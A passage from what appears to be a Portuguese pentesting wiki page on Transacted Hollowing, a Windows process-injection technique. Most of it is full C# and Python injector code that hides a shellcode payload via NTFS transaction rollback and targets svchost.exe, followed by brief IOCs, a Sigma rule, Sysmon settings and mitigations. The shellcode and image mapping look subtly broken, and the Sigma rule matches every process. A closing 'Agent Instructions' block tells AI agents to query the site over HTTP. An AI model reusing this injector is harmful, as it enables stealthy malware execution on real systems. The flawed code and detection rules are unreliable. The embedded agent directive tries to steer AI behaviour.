using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;

class TransactedHollowingInjector
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateTransaction(IntPtr lpTransactionAttributes, IntPtr uow,
                                            uint createOptions, uint isolationLevel,
                                            uint isolationFlags, uint timeout, string description);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateFileTransacted(string lpFileName, uint dwDesiredAccess,
                                               uint dwShareMode, IntPtr lpSecurityAttributes,
                                               uint dwCreationDisposition, uint dwFlagsAndAttributes,
                                               IntPtr hTemplateFile, IntPtr hTransaction,
                                               IntPtr pusMiniVersion, IntPtr lpExtendedParameter);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite,
                                  out uint lpNumberOfBytesWritten, IntPtr lpOverlapped);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool SetEndOfFile(IntPtr hFile);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateFileMapping(IntPtr hFile, IntPtr lpAttributes,
                                            uint flProtect, uint dwMaximumSizeHigh,
                                            uint dwMaximumSizeLow, string lpName);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr MapViewOfFile(IntPtr hFileMappingObject, uint dwDesiredAccess,
                                        uint dwFileOffsetHigh, uint dwFileOffsetLow,
                                        uint dwNumberOfBytesToMap);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool UnmapViewOfFile(IntPtr lpBaseAddress);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool RollbackTransaction(IntPtr hTransaction);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool GetTempPath(int nBufferLength, StringBuilder lpBuffer);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern int GetTempFileName(string lpPathName, string lpPrefixString,
                                       uint uUnique, StringBuilder lpTempFileName);
    
    [DllImport("ntdll.dll", SetLastError = true)]
    static extern int NtCreateProcess(out IntPtr ProcessHandle, uint DesiredAccess,
                                       IntPtr ObjectAttributes, IntPtr ParentProcess,
                                       uint Flags, IntPtr SectionHandle, IntPtr DebugPort,
                                       IntPtr ExceptionPort, uint Unknown);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
                                             uint dwStackSize, IntPtr lpStartAddress,
                                             IntPtr lpParameter, uint dwCreationFlags,
                                             out IntPtr lpThreadId);
    
    const uint GENERIC_READ = 0x80000000;
    const uint GENERIC_WRITE = 0x40000000;
    const uint FILE_SHARE_READ = 0x00000001;
    const uint FILE_SHARE_WRITE = 0x00000002;
    const uint CREATE_ALWAYS = 2;
    const uint FILE_ATTRIBUTE_NORMAL = 0x80;
    const uint PAGE_READONLY = 0x02;
    const uint FILE_MAP_READ = 0x0004;
    const uint PROCESS_ALL_ACCESS = 0x1F0FFF;
    
    // Shellcode (calc.exe)
    static byte[] shellcode = {
        0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
        0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
        0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
        0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
    };
    
    static bool TransactedHollowing(string targetExe)
    {
        Console.WriteLine("[*] Transacted Hollowing - C# Implementation");
        Console.WriteLine("[*] =========================================\n");
        
        // 1. Criar transação
        IntPtr hTransaction = CreateTransaction(IntPtr.Zero, IntPtr.Zero, 0, 0, 0, 0, null);
        if (hTransaction == IntPtr.Zero)
        {
            Console.WriteLine($"[-] CreateTransaction failed: {Marshal.GetLastWin32Error()}");
            return false;
        }
        Console.WriteLine("[+] Transaction created");
        
        // 2. Criar arquivo temporário
        StringBuilder tempPath = new StringBuilder(260);
        GetTempPath(260, tempPath);
        
        StringBuilder tempFile = new StringBuilder(260);
        GetTempFileName(tempPath.ToString(), "txf", 0, tempFile);
        
        IntPtr hTempFile = CreateFileTransacted(tempFile.ToString(),
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            IntPtr.Zero,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            IntPtr.Zero,
            hTransaction,
            IntPtr.Zero,
            IntPtr.Zero);
        
        if (hTempFile == IntPtr.Zero)
        {
            Console.WriteLine($"[-] CreateFileTransacted failed: {Marshal.GetLastWin32Error()}");
            CloseHandle(hTransaction);
            return false;
        }
        Console.WriteLine($"[+] Temp file created: {tempFile}");
        
        // 3. Escrever payload
        uint bytesWritten;
        if (!WriteFile(hTempFile, shellcode, (uint)shellcode.Length, out bytesWritten, IntPtr.Zero))
        {
            Console.WriteLine("[-] WriteFile failed");
            CloseHandle(hTempFile);
            CloseHandle(hTransaction);
            return false;
        }
        
        SetEndOfFile(hTempFile);
        Console.WriteLine($"[+] Payload written ({bytesWritten} bytes)");
        
        // 4. Criar seção
        IntPtr hSection = CreateFileMapping(hTempFile, IntPtr.Zero, PAGE_READONLY, 0, 0, null);
        CloseHandle(hTempFile);
        
        if (hSection == IntPtr.Zero)
        {
            Console.WriteLine("[-] CreateFileMapping failed");
            CloseHandle(hTransaction);
            return false;
        }
        Console.WriteLine("[+] Section created");
        
        // 5. Mapear seção localmente
        IntPtr pImageBase = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0);
        if (pImageBase == IntPtr.Zero)
        {
            Console.WriteLine("[-] MapViewOfFile failed");
            CloseHandle(hSection);
            CloseHandle(hTransaction);
            return false;
        }
        
        // 6. Criar processo a partir da seção
        IntPtr hProcess;
        int status = NtCreateProcess(out hProcess, PROCESS_ALL_ACCESS, IntPtr.Zero,
                                      Process.GetCurrentProcess().Handle, 0, hSection,
                                      IntPtr.Zero, IntPtr.Zero, 0);
        
        if (status != 0 || hProcess == IntPtr.Zero)
        {
            Console.WriteLine($"[-] NtCreateProcess failed: 0x{status:X}");
            UnmapViewOfFile(pImageBase);
            CloseHandle(hSection);
            CloseHandle(hTransaction);
            return false;
        }
        Console.WriteLine("[+] Process created from section");
        
        // 7. Rollback da transação
        if (!RollbackTransaction(hTransaction))
        {
            Console.WriteLine($"[-] RollbackTransaction failed: {Marshal.GetLastWin32Error()}");
        }
        else
        {
            Console.WriteLine("[+] Transaction rolled back - file deleted");
        }
        
        // 8. Criar thread remota
        IntPtr threadId;
        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, pImageBase,
                                             IntPtr.Zero, 0, out threadId);
        
        if (hThread != IntPtr.Zero)
        {
            Console.WriteLine("[+] Remote thread created");
            CloseHandle(hThread);
        }
        
        // 9. Limpeza
        CloseHandle(hProcess);
        CloseHandle(hSection);
        CloseHandle(hTransaction);
        UnmapViewOfFile(pImageBase);
        
        return true;
    }
    
    static void Main(string[] args)
    {
        string targetExe = args.Length > 0 ? args[0] : @"C:\Windows\System32\svchost.exe";
        
        if (TransactedHollowing(targetExe))
        {
            Console.WriteLine("\n[+] Transacted Hollowing successful!");
        }
        else
        {
            Console.WriteLine("\n[-] Transacted Hollowing failed");
        }
    }
}
```

***

## 🐍 **Implementação em Python**

```python
#!/usr/bin/env python3
# transacted_hollowing.py

import ctypes
import ctypes.wintypes
import sys
import os

# Windows API definitions
kernel32 = ctypes.windll.kernel32
ntdll = ctypes.windll.ntdll

# Constants
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
FILE_SHARE_READ = 0x00000001
FILE_SHARE_WRITE = 0x00000002
CREATE_ALWAYS = 2
FILE_ATTRIBUTE_NORMAL = 0x80
PAGE_READONLY = 0x02
FILE_MAP_READ = 0x0004
PROCESS_ALL_ACCESS = 0x1F0FFF

# Shellcode (calc.exe)
shellcode = bytearray([
    0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
    0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
    0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
    0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
])

def transacted_hollowing(target_exe):
    """Executar Transacted Hollowing"""
    print("[*] Transacted Hollowing - Python Implementation")
    print("[*] =============================================\n")
    
    # 1. Criar transação
    hTransaction = kernel32.CreateTransaction(None, None, 0, 0, 0, 0, None)
    if not hTransaction:
        print(f"[-] CreateTransaction failed: {ctypes.get_last_error()}")
        return False
    print("[+] Transaction created")
    
    # 2. Criar arquivo temporário
    temp_path = ctypes.create_unicode_buffer(260)
    kernel32.GetTempPathW(260, temp_path)
    
    temp_file = ctypes.create_unicode_buffer(260)
    kernel32.GetTempFileNameW(temp_path.value, "txf", 0, temp_file)
    temp_filename = temp_file.value
    
    hTempFile = kernel32.CreateFileTransactedW(temp_filename,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        None,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        None,
        hTransaction,
        None,
        None)
    
    if hTempFile == -1:
        print(f"[-] CreateFileTransacted failed: {ctypes.get_last_error()}")
        kernel32.CloseHandle(hTransaction)
        return False
    print(f"[+] Temp file created: {temp_filename}")
    
    # 3. Escrever payload
    bytes_written = ctypes.c_uint32()
    if not kernel32.WriteFile(hTempFile, shellcode, len(shellcode),
                               ctypes.byref(bytes_written), None):
        print("[-] WriteFile failed")
        kernel32.CloseHandle(hTempFile)
        kernel32.CloseHandle(hTransaction)
        return False
    
    kernel32.SetEndOfFile(hTempFile)
    print(f"[+] Payload written ({bytes_written.value} bytes)")
    
    # 4. Criar seção
    hSection = kernel32.CreateFileMappingW(hTempFile, None, PAGE_READONLY, 0, 0, None)
    kernel32.CloseHandle(hTempFile)
    
    if not hSection:
        print("[-] CreateFileMapping failed")
        kernel32.CloseHandle(hTransaction)
        return False
    print("[+] Section created")
    
    # 5. Mapear seção localmente
    pImageBase = kernel32.MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0)
    if not pImageBase:
        print("[-] MapViewOfFile failed")
        kernel32.CloseHandle(hSection)
        kernel32.CloseHandle(hTransaction)
        return False
    
    # 6. Criar processo a partir da seção
    hProcess = ctypes.c_void_p()
    status = ntdll.NtCreateProcess(ctypes.byref(hProcess), PROCESS_ALL_ACCESS,
                                     None, kernel32.GetCurrentProcess(),
                                     0, hSection, None, None, 0)
    
    if status != 0 or not hProcess:
        print(f"[-] NtCreateProcess failed: 0x{status:X}")
        kernel32.UnmapViewOfFile(pImageBase)
        kernel32.CloseHandle(hSection)
        kernel32.CloseHandle(hTransaction)
        return False
    print("[+] Process created from section")
    
    # 7. Rollback da transação
    if not kernel32.RollbackTransaction(hTransaction):
        print(f"[-] RollbackTransaction failed: {ctypes.get_last_error()}")
    else:
        print("[+] Transaction rolled back - file deleted")
    
    # 8. Criar thread remota
    thread_id = ctypes.c_ulong()
    hThread = kernel32.CreateRemoteThread(hProcess, None, 0, pImageBase,
                                           None, 0, ctypes.byref(thread_id))
    
    if hThread:
        print("[+] Remote thread created")
        kernel32.CloseHandle(hThread)
    
    # 9. Limpeza
    kernel32.CloseHandle(hProcess)
    kernel32.CloseHandle(hSection)
    kernel32.CloseHandle(hTransaction)
    kernel32.UnmapViewOfFile(pImageBase)
    
    return True

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "C:\\Windows\\System32\\svchost.exe"
    
    if transacted_hollowing(target):
        print("\n[+] Transacted Hollowing successful!")
    else:
        print("\n[-] Transacted Hollowing failed")
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de Transacted Hollowing:
  Transações NTFS:
    - Criação de transações (CreateTransaction)
    - Arquivos criados com CreateFileTransacted
    - RollbackTransaction após criação de processo
  
  Processos:
    - Processos criados a partir de seções (NtCreateProcess)
    - Discrepância entre arquivo no disco e imagem mapeada
    - Processos sem arquivo de imagem correspondente
  
  APIs Monitoradas:
    - CreateTransaction
    - CreateFileTransacted
    - CreateFileMapping com PAGE_READONLY
    - NtCreateProcess
    - RollbackTransaction
```

### **Regras de Detecção (Sigma)**

```yaml
title: Transacted Hollowing Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detecta criação de processo via transação NTFS
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 1
        ParentImage: '*\*'
        Image: '*\*'
    condition: selection
```

### **Sysmon Configuration**

```xml
<Sysmon>
    <EventFiltering>
        <!-- Monitorar criação de processos -->
        <ProcessCreate onmatch="include">
            <CommandLine condition="contains">svchost.exe</CommandLine>
        </ProcessCreate>
        
        <!-- Monitorar transações NTFS -->
        <FileCreate onmatch="include">
            <TargetFilename condition="contains">\Temp\</TargetFilename>
        </FileCreate>
    </EventFiltering>
</Sysmon>
```

***

## 🛡️ **Mitigação e Prevenção**

### **Proteções do Sistema**

```powershell
# Habilitar Code Integrity Guard
Set-ProcessMitigation -System -Enable CodeIntegrity

# Habilitar Control Flow Guard
Set-ProcessMitigation -System -Enable CFG

# Configurar Windows Defender Application Control
# Criar política que bloqueia criação de processos a partir de transações

# Desabilitar transações NTFS onde não necessário
# (Não é possível desabilitar globalmente, mas pode ser monitorado)
```

### **Hardening de Processos**

```c
// Adicionar proteções ao processo
void ProtectProcess(HANDLE hProcess) {
    PROCESS_MITIGATION_IMAGE_LOAD_POLICY imgLoad = {0};
    imgLoad.PreferSystem32Images = 1;
    SetProcessMitigationPolicy(ProcessImageLoadPolicy, &imgLoad, sizeof(imgLoad));
}
```

### **Configurações de Segurança**

```yaml
Recomendações:
  - Manter Windows atualizado
  - Habilitar Windows Defender
  - Configurar Attack Surface Reduction (ASR) rules
  - Usar Windows Defender Application Control
  - Monitorar criação de processos por transações NTFS
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Sistema**
  * [ ] Habilitar CFG e Code Integrity
  * [ ] Atualizar Windows regularmente
  * [ ] Configurar WDAC ou AppLocker
* [ ] **Monitoramento**
  * [ ] Monitorar transações NTFS
  * [ ] Alertar sobre NtCreateProcess
  * [ ] Verificar integridade de processos

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Verificar suporte a transações NTFS
  * [ ] Identificar alvos potenciais
* [ ] **Execução**
  * [ ] Testar com arquivo temporário
  * [ ] Verificar rollback
* [ ] **Validação**
  * [ ] Confirmar execução do payload
  * [ ] Verificar ausência de artefatos

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Transacted Hollowing:
  ✅ Técnica avançada de evasão
  ✅ Deixa mínimos artefatos no disco
  ✅ Bypassa detecção baseada em arquivos
  ✅ Utiliza mecanismos legítimos do Windows

Defesas essenciais:
  ❌ Monitorar transações NTFS
  ✓ Habilitar WDAC
  ✓ Configurar detecção de processos anômalos
```

### **Recomendações Finais**

1. **Para Pentesters**
   * Verificar suporte a transações NTFS
   * Testar em ambientes controlados
   * Combinar com outras técnicas de evasão
2. **Para Blue Teams**
   * Monitorar transações NTFS suspeitas
   * Configurar regras de detecção
   * Implementar políticas de código dinâmico


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/injecao-de-processos-process-injection/transacted-hollowing.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
